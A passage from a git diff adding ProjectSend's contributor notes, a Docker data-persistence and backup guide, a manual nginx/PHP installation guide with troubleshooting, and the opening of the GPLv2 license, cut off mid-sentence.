toward the hosted plan. +- **Every release ever published stays available under the license it was published under.** + +**Being straight with you about what we do sell:** we operate ProjectSend Cloud, and it has +features the self-hosted core doesn't. [LICENSING.md](LICENSING.md) sets out exactly where that +line is and what stays in the core permanently. If you'd rather your work not go into a project +that funds itself this way, that's a fair call, and we'd rather you know before you contribute +than after. + +If you're not comfortable signing, that's a reasonable position. Open an issue describing the bug +or the design instead — that's a real contribution too, and it doesn't require any agreement. + +### A note on AI-assisted code + +If you used an AI coding assistant, that's fine, but you're still making the representations in +the CLA: that the contribution is your original work and that you have the right to submit it. +Review what you submit and understand it well enough to maintain it. + +## Third-party code + +If your pull request includes code you didn't write, say so explicitly in the description and +name the source and its license. Don't quietly paste in a snippet from Stack Overflow or another +project — it creates real problems for everyone downstream. + +## How the code is organised + +A modular monolith under `app/Modules/` — Identity, Clients, Groups, Files, Sharing, Storage, +Notifications, Comments, Audit, Platform and friends. Modules talk to each other through public +service classes and events rather than reaching into each other's internals. + +Two conventions are worth knowing before your first pull request: + +- **File bytes never travel through PHP.** Downloads are served by the web server itself + (`X-Accel-Redirect`) or straight from object storage, so a large download does not occupy a PHP + worker. +- **Behaviour that differs between installations flows through one registry** + (`app/Modules/Platform/Capabilities/`) rather than scattered conditionals. Enforcement derives + from it in three places: route middleware, the UI (via the `useCapability()` hook) and the API, + which answers `403 capability_unavailable`. + +## Translations + +No user-facing string is hardcoded. **English text is the translation key** — `__('Save changes')` +in PHP, `t('Save changes')` in React — so English needs no catalogue and a missing translation +falls back to English rather than breaking. Every other language is one file: `lang/{locale}.json`. +Framework strings live in `lang/{locale}/*.php` and come from [laravel-lang](https://laravel-lang.com). + +**Write your feature in English, and leave the translating to a separate pass.** Shipping should +never wait on a language nobody in the room speaks, and the cost of a lagging translation is low +while the cost of a rushed one is not. Translations are brought up to date on a cadence, and always +before a release. + +Adding a language is adding a file: a locale is installed exactly when `lang/{locale}.json` exists. +Corrections from native speakers are especially welcome — most of the current catalogues have not +yet been read by one. + +## Questions + +- [Discussions](https://github.com/projectsend/projectsend/discussions) +- diff --git a/DOCKER.md b/DOCKER.md new file mode 100644 index 00000000..7357940f --- /dev/null +++ b/DOCKER.md @@ -0,0 +1,247 @@ +# Running ProjectSend with Docker: where your data lives + +Docker is the recommended way to run ProjectSend, and this page is about the one part of it that +bites people: **your files and your database do not belong to the containers, and you should be +able to prove it.** Containers are meant to be thrown away and rebuilt — that is the whole point of +them — so an upgrade, a crash, or a bad `docker compose` command must never be able to take your +data with it. + +Read this before you put real files in ProjectSend, not after. + +> Getting started with Docker in the first place is covered in [README](README.md#development). +> Installing without Docker, on a plain PHP server, is [INSTALL.md](INSTALL.md). + +--- + +## The three things that matter + +Everything ProjectSend cannot regenerate lives in exactly three places: + +| What | Where it is by default | Losing it means | +|---|---|---| +| **The database** | A Docker *named volume*, `projectsend_db-data` | Everything except the files themselves: accounts, groups, permissions, share links, comments, the activity log | +| **Uploaded files** | `storage/app/files/` in the project directory | The files your clients downloaded — gone | +| **`.env`** | The project directory | `APP_KEY`, without which saved SMTP and LDAP passwords cannot be decrypted | + +You do not have to work out which of these you have from memory. **The dashboard's System panel +reports where your uploaded files actually live** — a host directory, a Docker volume (named), or +the container's own filesystem — and warns you about the last two. The database is the one thing it +cannot check: it runs in its own container, and the only way for PHP to see inside that one would be +to hand it the Docker socket, which would turn any vulnerability in the application into root on +your server. That half is on you, and it is what the backup section below is for. + +Two things you may be surprised to find you do **not** need to protect: + +- **Redis** (`projectsend_redis-data`) holds sessions, the cache and the job queue. Losing it signs + everyone out and drops any not-yet-sent emails or half-built zips. Annoying; not data loss. +- **Parts of `storage/app/files/`** are derived, not precious: `zips/` (built downloads, deleted + automatically after a day), `thumbnails/` and `previews/` (rebuilt on demand the next time + somebody looks at a file). They sit in the same directory as the real uploads, so the simplest + thing is to back up all of it and not think about which is which. + +## The good news, and the one command to fear + +Named volumes are already outside the container lifecycle. `docker compose down`, +`docker compose up --build`, deleting and recreating every container — none of those touch +`projectsend_db-data`. Upgrading does not lose your database, and never did. + +The command that *does* destroy it is: + +```sh +docker compose down -v # ← the -v deletes the named volumes +``` + +That flag exists to clean up a development machine. On a real installation it deletes your entire +database in about a second, with no confirmation. The same goes for `docker volume prune` and +`docker system prune --volumes` when the stack happens to be down. + +So the actual problem with the default setup is not fragility, it is **invisibility**: your +database is somewhere under `/var/lib/docker/volumes/`, which means most people never back it up +and would not know where to look. The rest of this page fixes that. + +--- + +## Putting the data where you chose + +Bind-mount both to real paths on the host, so your data sits somewhere you picked, somewhere you +can see in `ls`, and somewhere your existing backup tool already knows about. + +### 1. Make the directories + +```sh +sudo mkdir -p /srv/projectsend/files /srv/projectsend/mysql + +# The app containers run as uid 1000 by default (the WWWUSER build argument). +# If you set WWWUSER to something else in .env, use that instead. +sudo chown -R 1000:1000 /srv/projectsend/files +``` + +Leave `/srv/projectsend/mysql` owned by root — the MySQL image sets its own ownership the first +time it starts. + +### 2. Create `compose.override.yaml` + +Next to `compose.yaml`. Docker Compose reads this file automatically and merges it on top, so you +never edit the tracked `compose.yaml` and nothing you write here is lost on the next update. + +```yaml +services: + # All four app containers must see the same files directory. Missing one of + # them is the classic mistake: uploads land in one place and downloads are + # served from another, so every download 404s. `web` is the one people + # forget — nginx serves the bytes itself, from + # /var/www/html/storage/app/files/, so it needs the mount just as much as + # the container that wrote them. + app: + volumes: + - /srv/projectsend/files:/var/www/html/storage/app/files + web: + volumes: + - /srv/projectsend/files:/var/www/html/storage/app/files + worker: + volumes: + - /srv/projectsend/files:/var/www/html/storage/app/files + scheduler: + volumes: + - /srv/projectsend/files:/var/www/html/storage/app/files + + db: + volumes: + - /srv/projectsend/mysql:/var/lib/mysql +``` + +Check the result before applying it — this prints the fully merged configuration: + +```sh +docker compose config +``` + +### 3. Move the data you already have + +**Skip this on a brand-new installation.** There is nothing to move; go straight to step 4. + +Stop everything first. Copying a database out from under a running MySQL is how you get a backup +that restores into a corrupt table. + +```sh +docker compose down # no -v +``` + +Files, which are already on the host inside the project directory: + +```sh +sudo rsync -a storage/app/files/ /srv/projectsend/files/ +sudo chown -R 1000:1000 /srv/projectsend/files +``` + +The database, which is in the named volume. A throwaway container is the tidy way to reach inside +one: + +```sh +docker run --rm \ + -v projectsend_db-data:/from \ + -v /srv/projectsend/mysql:/to \ + alpine sh -c 'cd /from && cp -a . /to' +``` + +(`projectsend_db-data` is the volume's real name — the `db-data` from `compose.yaml` prefixed with +the project name. `docker volume ls` will confirm it.) + +### 4. Start, and check + +```sh +docker compose up -d +``` + +Then prove it worked rather than assuming: log in and check the dashboard's System panel — **Files +stored on** should now read *Host directory*, and the Docker-volume warning should be gone. Then +open a file, **download it**, and upload a new one; confirm the new upload appears in +`/srv/projectsend/files/` on the host. A download that returns nothing means one of the four +containers is missing the mount from step 2. + +Once you are satisfied, and not before, you can reclaim the old volume: + +```sh +docker volume rm projectsend_db-data +``` + +--- + +## Backing up + +Bind mounts make your data visible. They do not make it backed up. + +### The database + +**Do not back up the MySQL directory by copying it while the database is running.** A file-level +copy of a live data directory is not a snapshot — it is a set of files captured at slightly +different moments, and it may restore into something subtly broken. Use a dump: + +```sh +docker compose exec -T db \ + mysqldump -u root -p"${DB_ROOT_PASSWORD:-root}" \ + --single-transaction --routines --triggers \ + projectsend > projectsend-$(date +%F).sql +``` + +`--single-transaction` is what makes this safe on a running database: the dump sees one consistent +moment in time without locking anybody out. + +### The files + +```sh +rsync -a /srv/projectsend/files/ /your/backup/location/files/ +``` + +Ordinary files, no special handling. Restoring means copying them back and fixing ownership +(`chown -R 1000:1000`). + +### `.env` + +Copy it somewhere safe, once, and again whenever you change it. It is a few hundred bytes and it +holds `APP_KEY` — lose that and the SMTP and LDAP passwords stored in your database become +undecryptable, even though the rest of the backup is perfect. + +### Restoring + +```sh +docker compose up -d db +docker compose exec -T db mysql -u root -p"${DB_ROOT_PASSWORD:-root}" projectsend < projectsend-2026-08-08.sql +sudo rsync -a /your/backup/location/files/ /srv/projectsend/files/ +sudo chown -R 1000:1000 /srv/projectsend/files +docker compose up -d +``` + +**Test this at least once, on a machine that is not your live one.** A backup nobody has ever +restored is a hypothesis, not a backup. + +--- + +## Upgrading + +With the data outside the containers, an upgrade touches only the containers: + +```sh +docker compose down # again: no -v +git pull # or unpack the new release over the directory +docker compose up -d --build +``` + +The app container migrates the database itself on boot and verifies its reference data, so there is +no separate migration step. Take a database dump first anyway — migrations move forwards, not +backwards, and the one time you skip it will be the time you want it. + +--- + +## Moving to another server + +This is the payoff for everything above, and it is worth doing once deliberately so you know it +works: + +1. Dump the database and copy `/srv/projectsend/`, `.env` and the dump to the new machine. +2. Install Docker, put the project directory in place, restore both as described under + [Restoring](#restoring). +3. Point DNS at the new machine, and update `APP_URL` in `.env` if the address changed. + +No export tool, no vendor involvement, nothing that only works while the old machine is alive. +That is the property worth protecting, and the reason this page exists. diff --git a/INSTALL.md b/INSTALL.md new file mode 100644 index 00000000..f9a1072a --- /dev/null +++ b/INSTALL.md @@ -0,0 +1,493 @@ +# Installing ProjectSend + +This guide is for installing ProjectSend **manually on your own server**, from the `.zip` file +published with each release. + +If you can run Docker, use Docker instead — it is one command, and everything on this page +(PHP extensions, the web server, the background worker, the scheduled tasks) is already wired up +for you. See [the Docker instructions](README.md#development), and +[DOCKER.md](DOCKER.md) for keeping your database and uploads outside the containers. Come back here +if Docker is not an option on your hosting. + +The whole thing takes about ten minutes. You will need shell access to the server and the ability +to create a database — this is not an install you can do over FTP alone. + +--- + +## What you need + +| | | +|---|---| +| **PHP** | 8.4 or newer, both the command-line PHP and PHP-FPM | +| **PHP extensions** | `bcmath` `ctype` `curl` `dom` `fileinfo` `filter` `gd` `iconv` `intl` `json` `ldap` `mbstring` `openssl` `pcntl` `pdo_mysql` `session` `simplexml` `tokenizer` `zip` | +| **Database** | MySQL 8.0 or newer (we test on 8.4 LTS) | +| **Web server** | **nginx**, with PHP-FPM — see the note below | +| **Disk space** | The app itself is small; plan for whatever your users will upload | + +A few notes on that list: + +- **`ldap` is required even if you never use LDAP.** One of the libraries ProjectSend depends on + declares it, so PHP will refuse to start the app without it. On Debian/Ubuntu it is + `php8.4-ldap`; on RHEL-family systems, `php-ldap`. +- **nginx is not a preference, it is a requirement.** See [Why nginx](#why-nginx) — it is worth + two minutes of reading before you commit to a server, because Apache cannot be made to work by + configuring it differently. +- **Redis is optional.** The Docker setup uses it, but a manual install works fine with the + database for sessions, cache and queues. If you already have Redis, see + [Optional extras](#optional-extras) below. + +### Why nginx + +Your uploaded files do not live under `public/`. They sit in `storage/app/files/`, outside the web +root, where no URL can reach them — which is the whole point: a file is only yours to download if +ProjectSend says so, and a file sitting in a guessable public folder has already lost that +argument. + +So every download has to pass through a permission check. The obvious way to do that is to let PHP +read the file and echo it back to the browser, and that is what most PHP applications do. It works, +and it is a bad idea at any real size: a single 5 GB download occupies a PHP process for its entire +duration, so a handful of people downloading at once can exhaust every worker your server has while +the CPU sits idle. Resumable downloads, byte ranges and progress bars all have to be reimplemented +by hand, usually incorrectly. + +ProjectSend does the other thing. PHP checks permissions, logs the download, and then answers with +an empty response carrying a header that says *"nginx, please send this file."* nginx streams the +bytes with the same code it uses for any static file — sendfile, byte ranges, resume support, no +PHP process held open — and the visitor never sees the real path. The header is +`X-Accel-Redirect`, and the matching `location /protected-files/` block in +[step 6](#step-6--point-your-web-server-at-it) is marked `internal`, which is what stops anyone +from requesting that path directly. + +**Apache has no equivalent that ProjectSend can use.** Apache's closest feature, `mod_xsendfile`, +reads a differently-named header (`X-Sendfile`) that ProjectSend does not send, and it is not +installed by default anyway. LiteSpeed has its own third spelling. On any of them the application +installs fine and every page works — you can log in, upload, manage clients, browse the library — +but **every download returns an empty response or a 404**, because nothing is listening for the +instruction PHP just gave. There is no setting to change; the header names simply do not match. + +Two ways out, if nginx really is impossible on your hosting: + +- Put nginx in front of Apache as a reverse proxy, serving `/protected-files/` itself. This works + but is more moving parts than just using nginx. +- Store your files in S3-compatible object storage instead (see + [Storing files somewhere other than this server](#storing-files-somewhere-other-than-this-server)). + Files kept there are never on your server's disk, so downloads become a signed, expiring redirect + to the storage provider and the web server is not involved at all. This is a genuine, supported + path — just decide it before people start uploading, not after. + +--- + +## Step 1 — Put the files on the server + +Download `projectsend-x.y.z.zip` from the +[releases page](https://github.com/projectsend/projectsend/releases), upload it to your server, and +unpack it where you want the site to live: + +```sh +cd /var/www +unzip projectsend-2.0.0.zip -d projectsend +cd projectsend +``` + +The release zip is ready to run — you do **not** need Composer, Node, or npm. Everything the app +needs is already inside it. + +> **Important:** point your web server at the `public/` folder inside this directory, never at the +> directory itself. Everything above `public/` — your configuration, your database credentials, +> your users' uploaded files — is meant to be unreachable from the web. Step 6 covers this. + +## Step 2 — Create the database + +Create an empty database and a user that owns it. From the MySQL shell: + +```sql +CREATE DATABASE projectsend CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci; +CREATE USER 'projectsend'@'localhost' IDENTIFIED BY 'a-long-random-password'; +GRANT ALL PRIVILEGES ON projectsend.* TO 'projectsend'@'localhost'; +FLUSH PRIVILEGES; +``` + +Leave the database empty. ProjectSend creates its own tables in step 5. + +## Step 3 — Tell ProjectSend about your server + +Copy the example configuration and open it in an editor: + +```sh +cp .env.example .env +``` + +`.env` is a plain list of `NAME=value` lines. The example file is written for the Docker setup, so +there is a fair amount to change. Here is a complete, working configuration for a manual install — +paste it over the top of the file, then change the addresses and passwords to yours: + +```ini +APP_NAME="ProjectSend" +APP_ENV=production +APP_KEY= +APP_DEBUG=false +APP_URL=https://files.example.com +APP_TIMEZONE=UTC + +PROJECTSEND_EDITION=community + +DB_CONNECTION=mysql +DB_HOST=127.0.0.1 +DB_PORT=3306 +DB_DATABASE=projectsend +DB_USERNAME=projectsend +DB_PASSWORD=a-long-random-password + +SESSION_DRIVER=database +CACHE_STORE=database +QUEUE_CONNECTION=database + +FILESYSTEM_DISK=local +``` + +The four that actually matter: + +- **`APP_URL`** — the address people will type to reach your site, including `https://`. Links in + emails are built from this, so getting it wrong means broken links in every notification. +- **`APP_DEBUG=false`** — leave it off. With debug on, an error page will show visitors parts of + your configuration. +- **`DB_*`** — what you created in step 2. +- **`APP_KEY`** — leave it empty for now; step 5 fills it in. + +The three `database` lines mean sessions, cache and background jobs all live in MySQL, so there is +nothing else to install. If you have Redis, see [Redis](#redis) — but do the install first. + +If your site is served over HTTPS, also add: + +```ini +SESSION_SECURE_COOKIE=true +``` + +And if there is a proxy, load balancer or CDN (Cloudflare, an nginx in front of another nginx) +between your visitors and this server, add `TRUSTED_PROXIES` too — the `.env.example` file explains +the format. Without it every visitor appears to come from the proxy, which breaks per-visitor rate +limiting and makes the download log useless. + +You can ignore the mail settings for now — email is configured from inside the app once you are +logged in. See [Sending email](#sending-email). + +## Step 4 — Set the file permissions + +ProjectSend writes to two folders: `storage/` (uploaded files, logs, sessions, cache) and +`bootstrap/cache/`. Both need to be writable by the user your web server runs as — usually +`www-data`, sometimes `nginx`. + +```sh +sudo chown -R www-data:www-data /var/www/projectsend +sudo chmod -R 775 /var/www/projectsend/storage /var/www/projectsend/bootstrap/cache +``` + +## Step 5 — Prepare the application + +Three commands. Run them from the install directory, as the web server's user, so that everything +they create ends up with the right owner: + +```sh +sudo -u www-data php artisan key:generate +sudo -u www-data php artisan migrate --force +sudo -u www-data php artisan storage:link +``` + +What they do: the first generates the secret key used to encrypt sessions and cookies (it writes +itself into your `.env`); the second creates all the database tables; the third makes public assets +like your logo reachable from the web. + +> Keep a copy of `APP_KEY` with your backups. Anything encrypted with it — including saved +> credentials for your mail server — cannot be read back without it. + +## Step 6 — Point your web server at it + +A complete nginx server block. Change `server_name`, and change `/var/www/projectsend` to wherever +you unpacked the files (there are **three** places, including one inside `/protected-files/`): + +```nginx +server { + listen 80; + server_name files.example.com; + root /var/www/projectsend/public; + index index.php; + + client_max_body_size 100m; + + add_header X-Content-Type-Options "nosniff" always; + add_header X-Frame-Options "SAMEORIGIN" always; + add_header Referrer-Policy "strict-origin-when-cross-origin" always; + + location / { + try_files $uri $uri/ /index.php?$query_string; + } + + # How downloads are served: ProjectSend checks permissions, then asks + # nginx to send the file. This block must NOT be reachable directly — + # "internal" is what guarantees that, so do not remove it. + location /protected-files/ { + internal; + alias /var/www/projectsend/storage/app/files/; + + add_header X-Content-Type-Options "nosniff" always; + add_header X-Frame-Options "SAMEORIGIN" always; + add_header Referrer-Policy "strict-origin-when-cross-origin" always; + add_header Content-Security-Policy "sandbox; default-src 'none'" always; + } + + location ~ \.php$ { + try_files $uri =404; + + fastcgi_pass unix:/run/php/php8.4-fpm.sock; + fastcgi_index index.php; + fastcgi_param SCRIPT_FILENAME $realpath_root$fastcgi_script_name; + include fastcgi_params; + fastcgi_buffer_size 32k; + fastcgi_buffers 8 32k; + } + + location ~ /\.(?!well-known) { + deny all; + } +} +``` + +Then check your PHP settings. Large uploads are sent in 20 MB pieces, so PHP never has to handle a +whole 5 GB file at once — but the pieces still need room. In your `php.ini`: + +```ini +upload_max_filesize = 100M +post_max_size = 100M +memory_limit = 256M +``` + +Reload both services: + +```sh +sudo nginx -t && sudo systemctl reload nginx +sudo systemctl restart php8.4-fpm +``` + +Set up HTTPS while you are here — [certbot](https://certbot.eff.org/) issues a free certificate and +edits the nginx config for you. + +## Step 7 — Create your administrator + +Open your site in a browser. Because no account exists yet, every address takes you to the setup +screen, which asks for a site name and the name, email and password of the first administrator. +Fill it in, and you are done — sign in and start adding clients. + +If you would rather not do it in the browser (or you are scripting the install), the same thing +from the command line: + +```sh +sudo -u www-data php artisan projectsend:admin +``` + +--- + +## Two things to finish + +The app runs without these, but parts of it will quietly not work. Both take a minute. + +### The background worker + +Sending email and building zip archives of multiple files happen in the background, so nobody sits +watching a spinner. Something has to actually run that work. Create +`/etc/systemd/system/projectsend-worker.service`: + +```ini +[Unit] +Description=ProjectSend queue worker +After=network.target + +[Service] +User=www-data +Group=www-data +Restart=always +WorkingDirectory=/var/www/projectsend +ExecStart=/usr/bin/php artisan queue:work --tries=3 --backoff=3 + +[Install] +WantedBy=multi-user.target +``` + +Then: + +```sh +sudo systemctl enable --now projectsend-worker +``` + +**Without this, no email is ever sent** and zip downloads never finish. `Restart=always` matters +too: saving your email settings restarts the worker so it picks up the new values, and it needs to +come back on its own. + +### The scheduled tasks + +A handful of daily housekeeping jobs — deleting expired files, cleaning up abandoned uploads, +checking for new ProjectSend versions. Add one line to the web user's crontab +(`sudo crontab -u www-data -e`): + +```cron +* * * * * cd /var/www/projectsend && php artisan schedule:run >> /dev/null 2>&1 +``` + +Yes, every minute. ProjectSend decides internally what is actually due; the cron entry just gives +it a heartbeat. + +To check that both of these are working, log in and open **System → Settings → Scheduler**. +It lists every task, when it last ran and whether it succeeded — along with any background job that +failed. If the page says nothing has ever run, your cron line is not firing. + +--- + +## Optional extras + +### Sending email + +Log in, go to **System → Settings → Email**, and enter your SMTP server's details there. That is +the place to configure it — the settings screen also has a "send test email" button, which will +save you a lot of guessing. The `MAIL_*` values in `.env` are only used until you fill that screen +in. + +### Redis + +If you have Redis available, it is faster than the database for sessions, cache and queues. Install +the `redis` PHP extension and change three lines in `.env`: + +```ini +SESSION_DRIVER=redis +CACHE_STORE=redis +QUEUE_CONNECTION=redis +``` + +Restart PHP-FPM and the background worker afterwards. + +Add `REDIS_HOST`, `REDIS_PORT` and `REDIS_PASSWORD` if it is not a default local install. Restart +the worker afterwards. + +### Storing files somewhere other than this server + +Out of the box, uploads live in `storage/app/files/` on this machine. You can point ProjectSend at +S3-compatible object storage instead from **System → Settings → Storage** — useful when the files +outgrow the server's disk. + +### Making it faster + +For a busy install, let PHP pre-compile the app's routes and views: + +```sh +sudo -u www-data php artisan route:cache +sudo -u www-data php artisan view:cache +sudo -u www-data php artisan event:cache +``` + +Re-run them after every update. If you change your mind, `php artisan optimize:clear` undoes all +three. + +#### One command to skip: `config:cache` + +Every Laravel deployment guide on the internet lists `php artisan config:cache` alongside those +three, and `php artisan optimize` runs it for you. **Don't** — not on this application. + +Here is why. Caching the configuration writes every resolved setting into one PHP file, and from +then on the framework stops reading your `.env` at all, on the entirely reasonable grounds that +everything in it has already been baked in. That holds for settings read the normal way, through +`config()`. ProjectSend reads one value earlier than that — `TRUSTED_PROXIES`, which has to be +known before the middleware stack is assembled, so it is read straight from the environment. Cache +the config and that read returns nothing. + +Nothing breaks loudly. The site comes up, you log in, everything looks fine. But if there is a +proxy or CDN in front of the server, ProjectSend goes back to believing every visitor is the proxy: +the login rate limiter now counts all of your users as one attacker and locks the whole site out +after five wrong passwords, and every row in the download log records the proxy's address instead +of the person who actually downloaded the file. Both are the kind of thing you discover weeks +later, from a complaint. + +If you have already run it — or ran `php artisan optimize`, which includes it — `php artisan +config:clear` puts things back immediately. The three commands above are safe and give you nearly +all of the speed anyway; `config:cache` was always the smallest win of the four. + +--- + +## Updating to a new version + +1. **Back up first** — the database, the `.env` file, and `storage/app/files/`. Every time. +2. Put the site in maintenance mode: `sudo -u www-data php artisan down` +3. Unpack the new zip over the install directory. Keep your `.env` and your `storage/` folder — + the zip does not contain either, but check your unzip tool is not helpfully deleting things. +4. Run the updates: + + ```sh + sudo -u www-data php artisan migrate --force + sudo -u www-data php artisan projectsend:ensure-roles + sudo -u www-data php artisan optimize:clear + sudo -u www-data php artisan queue:restart + ``` + +5. Bring it back: `sudo -u www-data php artisan up` + +`projectsend:ensure-roles` teaches the built-in roles about any permissions the new version added. +It never touches permissions you have customised yourself. + +--- + +## When something goes wrong + +**A page that says "ProjectSend is not configured yet."** +This is not an error — it is ProjectSend telling you which setup step is still missing. You reached +the site before creating your `.env` (step 3) or before generating `APP_KEY` (step 5). The page +names the exact command to run; do that, then reload. + +**Every page is blank, or shows a 500 error.** +Look in `storage/logs/` — open the newest file, the real error is at the bottom. Nine times out of ten it is +folder permissions (step 4) or a wrong database password (step 3). + +**"Please provide a valid cache path" or "failed to open stream".** +`storage/` or `bootstrap/cache/` is not writable by the web server user. Step 4. + +**`php artisan` says "Table 'sessions' doesn't exist".** +Something reached the database before `migrate` created its tables. Finish step 5 in order — +`key:generate`, then `migrate`, then `storage:link`. + +**Every address redirects me to the setup screen.** +That is correct behaviour until the first administrator exists. Finish step 7. If you have already +created one and it still happens, ProjectSend cannot reach your database — check `storage/logs/`. + +**Pages load but downloads give a 404, or download a 0-byte file.** +The `/protected-files/` block is missing from your nginx config, or its `alias` path does not match +where you installed ProjectSend. It must point at `storage/app/files/` and end with a slash. If you +are on Apache or LiteSpeed, no configuration will fix this — see [Why nginx](#why-nginx). + +**Uploads fail partway through.** +`client_max_body_size` in nginx, or `upload_max_filesize` / `post_max_size` in `php.ini`, is +smaller than a 20 MB upload piece. Step 6. + +**No email arrives, and the test email button says it worked.** +"It worked" means it was queued, not delivered. The background worker is not running — see +[The background worker](#the-background-worker). + +**The CAPTCHA is stopping people signing in, and I cannot get in to switch it off.** +It should not be able to: a wrong secret key or an unreachable provider both let people through and +report the problem on the settings screen instead. If you are stuck anyway, add +`PROJECTSEND_CAPTCHA_DISABLED=true` to `.env` and run `php artisan optimize:clear`, or run +`php artisan projectsend:captcha-off`. Your keys are kept either way. To check a key without +locking anything, `php artisan projectsend:captcha-test` asks the provider directly. + +**Emails and links point at `localhost` or the wrong domain.** +`APP_URL` in `.env`. Fix it and run `php artisan optimize:clear`. + +**A change I made in `.env` has no effect.** +Run `php artisan optimize:clear`, then restart PHP-FPM and the worker. Both hold the old values +until they are restarted. If it *still* has no effect, someone has run `php artisan config:cache` +(or `optimize`) on this install — see [One command to skip](#one-command-to-skip-configcache). + +**Everyone is locked out of the login form at once, or the download log shows the same IP for +every download.** +ProjectSend is seeing your proxy or CDN instead of your visitors. Set `TRUSTED_PROXIES` in `.env` +(step 3) — and make sure `config:cache` has not been run, which stops that value from being read +at all. Same section as above. + +Still stuck? Ask in the [community forum](https://www.projectsend.org/) or open an issue on +[GitHub](https://github.com/projectsend/projectsend/issues), and include the last few lines of +the newest file in `storage/logs/` — it is almost always the fastest way to an answer. diff --git a/LICENSE b/LICENSE new file mode 100644 index 00000000..9efa6fbc --- /dev/null +++ b/LICENSE @@ -0,0 +1,338 @@ + GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc., + + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Lesser General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by 